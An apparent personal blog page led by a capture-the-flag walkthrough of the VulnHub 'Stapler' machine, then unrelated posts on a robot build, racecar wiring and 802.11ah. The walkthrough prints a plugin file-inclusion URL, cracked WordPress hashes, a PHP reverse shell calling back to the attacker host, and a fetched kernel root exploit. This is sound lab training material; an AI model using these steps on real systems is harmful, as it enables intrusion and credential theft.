“Stapler” Vulnhub VM Writeup by Dave Barrett

INTRO

In this walkthrough we will cover reconnaissance, enumeration, and exploitation of the “Stapler” vulnerable-machine from VulnHub. According to the author, this machine has multiple ways to gain limited shells and root access – so don’t assume this was the only way to root this machine.

INFORMATION GATHERING

I’m running Stapler on VirtualBox with a host-only adapter/network on the 192.168.56.0/24 subnet. This machine is designed to automatically pull an IP address from DHCP. I know my DHCP range on this subnet is 101-254, so I’ll start with a basic nmap scan just to try and find the IP address of Stapler:

nmap -vv 192.168.56.101-254

Right away, we discover Stapler’s IP address is 192.168.56.102 and has a few open ports that could be of interest to us:

//Note: I trimmed out quite a bit of the scan results and kept the most important part.

Scanning 192.168.56.102 [1000 ports]
Discovered open port 22/tcp on 192.168.56.102
Discovered open port 80/tcp on 192.168.56.102
Discovered open port 3306/tcp on 192.168.56.102
Discovered open port 21/tcp on 192.168.56.102
Discovered open port 139/tcp on 192.168.56.102
Discovered open port 53/tcp on 192.168.56.102
Discovered open port 666/tcp on 192.168.56.102
Completed Connect Scan at 13:58, 4.21s elapsed (1000 total ports)
Nmap scan report for 192.168.56.102
Host is up, received syn-ack (0.0013s latency).
Scanned at 2016-08-28 13:58:10 CDT for 7s
Not shown: 992 filtered ports
Reason: 992 no-responses
PORT     STATE  SERVICE     REASON
20/tcp   closed ftp-data    conn-refused
21/tcp   open   ftp         syn-ack
22/tcp   open   ssh         syn-ack
53/tcp   open   domain      syn-ack
80/tcp   open   http        syn-ack
139/tcp  open   netbios-ssn syn-ack
666/tcp  open   doom        syn-ack
3306/tcp open   mysql       syn-ack

Now, let’s do a more thorough scan of 192.168.56.102. This scan will output the results to an XML file, and then use xsltproc to convert that to a clean, easy to read/document HTML file. You may need to install xsltproc using “sudo apt-get install xsltproc” on Kali and similar distros.

//Note: It should go without saying, but don't use this scan in a production environment.

nmap -vv -sS -Pn -A -sV -T5 --script=default,auth,vuln,discovery -p- -oX 192-168-56-102.xml --script-args=unsafe=1 192.168.56.102; xsltproc 192-168-56-102.xml -o 192-168-56-102.html

When the scan finishes, we’re left with this HTML file:

Stapler by g0tmi1k - VulnHub Vulnerable Machine

After looking at these results we see that, in addition to the open ports we found earlier, there’s another port open on 12380. It appears to be running an Apache web server. I always like to look for the low-hanging fruit first, and websites/web applications tend to be a good place to find them. Let’s prod the web server on Stapler’s port 12380 a bit more.

ENUMERATING STAPLER’S WEB-SERVER ON PORT 12380

First, let’s run DirBuster and see if we can find some files and directories.

dirb https://192.168.56.102:12380 -R

The -R option will have DirBuster prompt us before recursively scanning any directories it finds. We may want to scan these directories later, but for right now let’s just look for the basics. Here are the results:

---- Scanning URL: https://192.168.56.102:12380/ ----
==> DIRECTORY: https://192.168.56.102:12380/announcements/

+ https://192.168.56.102:12380/index.html (CODE:200|SIZE:21)

==> DIRECTORY: https://192.168.56.102:12380/javascript/
==> DIRECTORY: https://192.168.56.102:12380/phpmyadmin/

+ https://192.168.56.102:12380/robots.txt(CODE:200|SIZE:59)
+ https://192.168.56.102:12380/server-status (CODE:403|SIZE:305)

After looking through these directories, there really isn’t a whole lot to go on. However, the robots.txt file may clue us in on a few more files/directories. Upon opening robots.txt we see this:

User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/

Both of these directories look interesting. The /admin112233/ was placed there just to mess with us a bit. 🙂 When we take a look at the /blogblog/ directory, we find a WordPress install. It should go without saying that WordPress installs should always be thoroughly enumerated and tested.

Enumerating WordPress

Clearly, we want to take a good look at this WordPress install and attempt to gather any information we can. Let’s start with user enumeration:

wpscan -u https://192.168.56.102:12380/blogblog/ --enumerate u

Returns:

[+] Enumerating usernames ...
[+] Identified the following 10 user/s:
    +----+---------+-----------------+
    | Id | Login   | Name            |
    +----+---------+-----------------+
    | 1  | john    | John Smith      |
    | 2  | elly    | Elly Jones      |
    | 3  | peter   | Peter Parker    |
    | 4  | barry   | Barry Atkins    |
    | 5  | heather | Heather Neville |
    | 6  | garry   | garry           |
    | 7  | harry   | harry           |
    | 8  | scott   | scott           |
    | 9  | kathy   | kathy           |
    | 10 | tim     | tim             |

This may come in handy later. Let’s try to enumerate the installed plugins:

wpscan -u https://192.168.56.102:12380/blogblog/ --enumerate ap

Returns:

[+] We found 4 plugins:

[+] Name: advanced-video-embed-embed-videos-or-playlists - v1.0
 |  Latest version: 1.0 (up to date)
 |  Location: https://192.168.56.102:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
 |  Readme: https://192.168.56.102:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
[!] Directory listing is enabled: https://192.168.56.102:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/

[+] Name: akismet
 |  Latest version: 3.1.11 
 |  Location: https://192.168.56.102:12380/blogblog/wp-content/plugins/akismet/

[!] We could not determine a version so all vulnerabilities are printed out

[!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
    Reference: https://wpvulndb.com/vulnerabilities/8215
    Reference: http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
    Reference: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
[i] Fixed in: 3.1.5

[+] Name: shortcode-ui - v0.6.2
 |  Latest version: 0.6.2 (up to date)
 |  Location: https://192.168.56.102:12380/blogblog/wp-content/plugins/shortcode-ui/
 |  Readme: https://192.168.56.102:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
[!] Directory listing is enabled: https://192.168.56.102:12380/blogblog/wp-content/plugins/shortcode-ui/

[+] Name: two-factor
 |  Latest version: 0.1-dev-20160412 
 |  Location: https://192.168.56.102:12380/blogblog/wp-content/plugins/two-factor/
 |  Readme: https://192.168.56.102:12380/blogblog/wp-content/plugins/two-factor/readme.txt
[!] Directory listing is enabled: https://192.168.56.102:12380/blogblog/wp-content/plugins/two-factor/

With a little help from Google, exploit-db, etc, we find that advanced-video-embed-embed-videos-or-playlists – v1.0 is susceptible to a Local File Inclusion vulnerability. The Proof of Concept and exploit script can be found on Exploit-DB. Let’s take the proof of concept code and modify it for this particular scenario:

https://192.168.56.102:12380/blogblog/wp-admin/admin-ajax.php?action=ave_publishPost&title=random&short=1&term=1&thumb=../wp-config.php

When we paste this into the browser and navigate to it, we get a blank page with this on it:

https://192.168.56.102:12380/blogblog/?p=270

However, this page doesn’t exist when we try to navigate to it. Heading back to the front page of the WordPress install, we see a new post named “Random” with a randomly titled JPEG file. When navigating over to /blogblog/wp-content/uploads/, we see the JPEG file listed in the directory. However, when attempting to open it we get this error:

The image "https://192.168.56.102:12380/blogblog/wp-content/uploads/20722893.jpeg" cannot be displayed because it contains errors.

Let’s just right-click and save the file to the desktop without the .jpeg extension. It shows up as PHP file and when opened in gedit, we see it’s the wp-config.php file. Yes, this can be done in the terminal as well, but this way worked just fine.

In wp-config.php we find the login credentials for phpMyAdmin:

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'plbkac');

Armed with these credentials, we can now head over to https://192.168.56.102:12380/phpmyadmin/ and log in to the database. Once logged in, we’ll export the wp_users table to a CSV format, and then put the hashes in a newly created hashes.txt file on our attacker machine.

$P$B7889EMq/erHIuZapMB8GEizebcIy9.
$P$BlumbJRRBit7y50Y17.UPJ/xEgv4my0
$P$BTzoYuAFiBA5ixX2njL0XcLzu67sGD0
$P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0
$P$Bwd0VpK8hX4aN.rZ14WDdhEIGeJgf10
$P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1
$P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0
$P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1
$P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0
$P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0
$P$B.gMMKRP11QOdT5m1s9mstAUEDjagu1
$P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.
$P$BLxdiNNRP008kOQ.jE44CjSK/7tEcz0
$P$ByZg5mTBpKiLZ5KxhhRe/uqR.48ofs.
$P$B85lqQ1Wwl2SqcPOuKDvxaSwodTY131
$P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0

With the following command, we’ll run the hashes.txt file through HashCat using the RockYou.txt wordlist:

hashcat -m 400 -a 0 hashes.txt rockyou.txt

After a few minutes, we have quite a few cracked hashes. Here is the list of cracked hashes with the username added back in:

john: $P$B7889EMq/erHIuZapMB8GEizebcIy9.:incorrect
harry: $P$BqV.SQ6OtKhVV7k7h1wqESkMh41buR0:monkey
garry: $P$BzjfKAHd6N4cHKiugLX.4aLes8PxnZ1:football
scott: $P$BFmSPiDX1fChKRsytp1yp8Jo7RdHeI1:cookie
kathy: $P$BZlxAMnC6ON.PYaurLGrhfBi6TjtcA0:coolgirl
dave: $P$Bl7/V9Lqvu37jJT.6t4KWmY.v907Hy.:damachine
barry: $P$BIp1ND3G70AnRAkRY41vpVypsTfZhk0:washere
tim: $P$BXDR7dLIJczwfuExJdpQqRsNf.9ueN0:thumb
pam: $P$BuLagypsIJdEuzMkf20XyS5bRm00dQ0:0520

The most important user/pass to me was John’s, as he is user ID# 1 and more than likely the Administrator account. Using his credentials to log in to WordPress, we find out that this is, in fact, the case. We now have admin access to the WordPress install. From here, we’ll use the plugin upload feature of WordPress to upload a reverse-shell .php file to the server.

PHP REVERSE SHELL

I found an easy to use PHP-based reverse shell on PentestMonkey.net. Before uploading the file to the WordPress site, it needs to be modified to connect back to my attack machine at 192.168.56.5 and port 8080. In this scenario, the port used doesn’t really matter as long as you have your listener set to that port.

Now upload the reverse shell’s .php file to WordPress:

php reverse-shell on stapler vulnhub

Before running this php file, we need to set up a listener on our attack machine using the following command in terminal:

root@chromebook:/# nc -lvp 8080

Now when we navigate to the following file in the browser, we should get a shell in the terminal that our listener is running in:

https://192.168.56.102:12380/blogblog/wp-content/uploads/php-reverse-shell.php

And ta-da!

listening on [any] 8080 ...
192.168.56.102: inverse host lookup failed: Unknown host
connect to [192.168.56.5] from (UNKNOWN) [192.168.56.102] 52064
Linux red.initech 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:34:49 UTC 2016 i686 i686 i686 GNU/Linux
 00:40:32 up 21:24,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

PRIVILEGE ESCALATION & GETTING ROOT

Now that we have a shell, the final piece of the puzzle is to escalate to root privileges so that we can access the flag. In doing a little enumeration of the system, we find out that it is Ubuntu 16.04 & kernel 4.4.0-21. Some more google-fu leads us to this Local Privilege Escalation exploit.

So let’s download the .tar of this exploit and extract the folder to /var/www/html on our attacker machine(make sure Apache is running as well). Ensure the permissions are set correctly, and then use this command in the reverse-shell to upload the exploit folder to Stapler:

wget -e robots=off --cut-dirs=3 --user-agent=Mozilla/5.0 --reject="index.html*" --no-parent --recursive --relative --level=1 --no-directories 192.168.56.5/ebpf_mapfd_doubleput_exploit/

//Note: Thanks StackOverflow for always having the answer...even when it's something as simple as wget that doesn't work properly for me.

Now the folder should be on the Stapler machine. CD into the exploit folder, and chmod compile.sh so that it can be executed. Now simply run the following command:

./compile.sh

Followed by:

$ ./doubleput

//If all went well, you'll get the below text as the exploit does it's thing:

starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...

//Now let's see if we're root:

whoami
root

BAM. ROOT. Now we can just cd to the /root/ directory and find our flag file:

cd /root/
ls
fix-wordpress.sh
flag.txt
issue
python.sh
wordpress.sql
cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b

And a screenshot of the terminal just for a little additional proof:

Stapler Vulnerable Machine. Got Root, yo

CONCLUSION

This was my first write-up on a vulnerable VM, so it's not perfect. It was tougher than I thought to document every little thing and then determine what should go in the write-up and what shouldn't. However, I think you got a decent idea of the path I followed in order to get root.

Thanks to g0tmi1k for throwing this together, and Vulnhub for hosting it. Stapler is definitely a cool VM to mess with. I think I'll try rooting it using a different method, although I won't be doing a write-up the next time around.

ABOUT THE AUTHOR

My name is Dave Barrett and I live in Chicago, Illinois. I'm currently the "Jack of all trades" IT guy managing a small-business' network, servers, desktops, firewall, etc. In my free time, I like to do anything related to motorsports, electronics/robotics, and computers.

I'd love to segue in to a more security-oriented role(red or blue team) soon. If you're in the Chicago area and hiring for a more entry-level security position, let's talk: E-Mail Me - Twitter @Hack312

New Robot in the Works

For years now, I have wanted to build a robot to compete in Trinity College’s Fire-Fighting Robot Competition.  In this competition, the robot must navigate a mock-layout of a house, locate and identify a fire(a candle), extinguish the fire, and then return to the starting position.

My robot will consist of a the following parts, with more to be added as I progress:

  • Axon II Microcontroller(ATmega640 based)
  • (3) Maxbotix EZ1 Sonar Modules
  • (2-4) Parallax/Futaba Continuous-Rotation Servos
  • (5) Pololu QTR-1A Reflectance Sensors(floor/edge detection)
  • DFRobot Flame Sensor
fire-fighting robot
Some of the robot’s primary components.

In future posts I will cover chassis design and fabrication, electronics installation, ATmega programming, and testing.

-Dave Barrett

Racecar Re-wiring: Relay/Fuse-panel

For the 2016 racing season, I decided to completely re-wire my buddy’s Mustang from front to back. I originally wired the car in 2012 on a shoe-string budget and a huge time constraint.  Over the past few seasons, we made multiple changes to the car including a few different engines, different ignition systems, different nitrous systems and controllers, etc. Needless to say, the wiring was starting to look even worse than it was to begin with.

Doing a big wheelie at 2015 King Of The Streets
Doing a big wheelie at 2015 King Of The Streets. Credit: Gage Boyd

At the heart of any purpose-built racecar’s electrical system is the relay/fuse panel. In this particular instance, it powers the ECU(Engine Control Unit), ignition coils, nitrous system, trans-brake, purge solenoid, and provides a switched 12-volt power source.

It’s important that the fuse/relay panel is accessible and easy to troubleshoot and/or modify quickly. Often times, we have very limited time in between rounds to sort out an electrical problem or make changes to the wiring.

Keeping this in mind, I began to lay out the components on a .220″ acrylic panel.  I’m using two 10-position screw terminals – #6 for low-amperage switch inputs, etc – #8 for high-amperage power outputs. These screw terminals will make it easy to attach the wiring in the car to the panel.  It will also make it easier to change the wiring as the components in the car are upgraded.

I’m also using six 40-amp relays and a fuse-block that features a single 4 AWG input and nine #6 screw-terminal outputs. This fuse-block makes power distribution and adding fuses to circuits so much easier, as well as making everything a bit neater.

Bolt-holes measured out and drilled.
Bolt-holes measured out and drilled.
Racecar relay panel
Components mounted to the .220″ panel.

With the components mounted, it was time to begin wiring. I used 10 AWG stranded wire to provide power to the relays that are switching higher-amperage circuits.  I also used the 10 AWG wire to connect the relays’ outputs to the #8 screw-terminals.  I used 16 AWG stranded wire for every other connection on the board.

The wiring incorporates a few extras things I needed:

  1. The trans-brake, nitrous, and purge relays’ coils only have 12-volt power when the ignition relay/switch is on.  Since these relays are controlled directly by the ECU, there’s a chance that the 12-volts to power the relay coils could backfeed into the ECU and prevent it from shutting off when the ignition switch is turned off. To prevent that, it’s important to kill the power to the relay coils when the ignition/ECU is shut off.
  2. The relay marked “MS3” powers the MegaSquirt Pro ECU exclusively. It sources 12-volts directly from the battery’s positive terminal instead of from the fuse block. This is to help ensure the ECU gets a clean power-source.
  3. The “?” relay is used to provide a throttle-position signal to the ECU. Since this car is carbureted, it doesn’t have a throttle-position sensor. However, in order for certain ECU features to work, it needs to at least read some change in throttle position. This relay’s NC post will connect to a sensor ground on the ECU and the NO post will connect to the ECU’s +5 volt reference signal. The relay is triggered by a wide-open-throttle switch on the carburetor. This will allow the ECU to determine whether the throttle is wide-open or not, which allows the nitrous and launch-control to activate properly.
Racecar relay panel
The (mostly) finished product.

What I would do differently

This was my first-time designing and building a panel of this nature. Overall, it came out alright. It will definitely serve its purpose for many years to come. However, there’s a few things I would do differently:

  1. Give myself more room – An extra inch on each of the panel’s dimensions would have helped quite a bit. 10 AWG wire is tough to work with in tighter spots like this.  The wiring ended up being a little messier than I anticipated.
  2. Buy better quality tools – I’m using a regular old pair of Strippers/Crimpers. While the connections all came out fine, a quality set of crimpers would have made the process a lot more efficient.  Not to mention, my hands were sore by the time I finished crimping everything.

what’s next?

Up next, I’ll install the panel in the car and begin wiring all of the major components.  I’ll also install the MegaSquirt Pro ECU and build the wiring harness for the engine.

900 MHz 802.11ah Wireless Standard Approved

The new 802.11ah wireless standard operates in the 900 Mhz frequency range. This lower frequency will allow for longer ranges and better signal propagation through walls and other barriers.  Expect to see 802.11ah in many future IoT/Embedded devices.

Read more about it here: http://www.wi-fi.org/discover-wi-fi/wi-fi-halow